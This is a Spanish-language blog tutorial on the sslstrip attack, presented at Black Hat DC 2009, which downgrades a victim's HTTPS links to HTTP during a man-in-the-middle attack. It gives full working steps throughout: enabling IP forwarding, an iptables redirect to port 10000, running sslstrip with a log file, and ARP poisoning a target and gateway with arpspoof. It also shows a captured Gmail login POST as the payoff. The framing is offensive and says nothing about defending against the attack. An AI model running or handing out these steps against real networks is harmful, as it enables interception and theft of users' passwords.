esta tecnica fue presentada en el black hat dc 2009 por moxie marlinspike y desperto bastante revuelo, no era nuevo como ataque pero si la herramienta que lo automatiza y lo hace mucho mas facil.
pero esto es del año pasado! diran... y encima pongo q es mas viejo, como es posible entonces q siga funcionando y nadie lo parchee. muy facil, no es 1 ataque directo al ssl sino que lo q hace es reemplazar todos los links https x http seguido de 1 ataque mitm como el q vimos en este link:
de esta manera el objetivo se comunica con nosotros x http y nosotros con el servidor de destino x https, obteniendo en el proceso todas las passwords en texto plano q despues enviamos encriptadas a su destino final.
con esto salvamos el problema de certificados q tenemos usando ettercap como habiamos visto aca:
haciendo transparente el logueo para el objetivo... peligroso no?...
preparando el sistema
voy a explicarlo para debian/ubuntu, si tienen fedora o derivados cambien x yum. 1ero instalamos python y python-twisted-web:
apt-get install python python-twisted-web
despues descargamos sslstrip, pueden buscar algun link o bajarlo de la pagina del autor:
http://www.thoughtcrime.org/software/sslstrip/
podemos hacer 2 cosas, instalarlo o correrlo desde el directorio de descarga. para instalarlo:
python ./setup.py install
de esta manera queda accesible desde la consola, sino para ejecutarlo:
python sslstrip.py (opciones)
el ataque
lo 1ero es activar el reenvio de paquetes, esto lo hacemos cambiando de 0 a 1 el valor del archivo ip_forward q se encuentra en /proc/sys/net/ipv4/, editandolo o simplemente poniendo en la consola:
echo "1" > /proc/sys/net/ipv4/ip_forward
despues configuramos iptables para q reenvie el trafico a ssltrip, el puerto q queremos redirigir es el 80 hacia el 10000 q es el default del programa. si quieren usar otro puerto x alguna razon este es el momento de elegirlo, despues al lanzarlo se puede cambiar. el comando seria:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 (o el q quieran)
ahora corremos sslstrip, si lo instalaron simplemente:
sslstrip -w nombrearchivo
donde "nombrearchivo" es 1 nombre para el archivo donde van a quedar logueados los datos. si cambiamos el puerto usamos el modificador -l:
sslstrip -w nombredearchivo -l numdepuerto
si todo esta bien instalado deberiamos ver esto:
sslstrip 0.6 by Moxie Marlinspike running...
ahora solo falta hacer el envenenamiento arp para q la otra maquina nos mande su trafico, podemos usar exactamente el mismo metodo de la entrada q cite antes y el resultado simplemente seria q el objetivo no tendria el famoso mensaje del certificado ya que el trafico pasaria x el puerto 80, el user/pass saldria en la pantalla inferior como cualquier pass de texto plano y a su vez se puede ver en el log de ssltrip:
2010-11-25 19:48:39,529 SECURE POST Data (www.google.com):
ltmpl=default<mplcache=2&continue=http%3A%2F%2Fmail.google.com%2Fmail%
2F%3F&service=mail&rm=false&dsh=3151454474180978812<mpl=default&hl=en
<mpl=default&scc=1&ss=1&timeStmp=&secTok=&GALX=HirBaqYb1RQ&Email=
ACA_SALE_EL_CORREO&Passwd=ACA_LA_PASSWORD&rmShown=1&signIn
=Sign+in&asts=
pero podemos hacerlo mas facil para no tener q usar ettercap simplemente instalando la suite dsniff:
apt-get install dsniff
dsniff daria como para otra entrada completa pero ahora vamos a usar solamente arpspoof para hacer el envenenamiento. despues de instalar dsniff ponemos en la consola:
arpspoof -i interface (eth0, wlan0, ath0 o la q sea) -t target (maquina objetivo) gateway (el router)
x ej:
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
en la consola veriamos algo como esto repetirse una y otra vez:
0:5:4e:4d:15:30 0:1e:e5:fc:10:65 0806 42: arp reply 192.168.1.1 is-at 0:5:4e:4d:15:30
0:5:4e:4d:15:30 es nuestra mac, q queremos q el objetivo (0:1e:e5:fc:10:65) crea q es el router, entonces lo q le decimos es q 192.168.1.1 (el router) esta en (is-at) nuestra mac (0:5:4e:4d:15:30)
si hacemos en el objetivo 1 arp -a vamos a ver que nuestra ip y el router tienen la misma mac, el envenenamiento tuvo exito.
sslstrip ya esta capturando trafico ssl y guardandolo en el log, solo hay q abrirlo y ver q hay...
SSLStrip by |_ocutus is licensed under a Creative Commons Atribución-NoComercial-SinDerivadas 3.0 Unported License.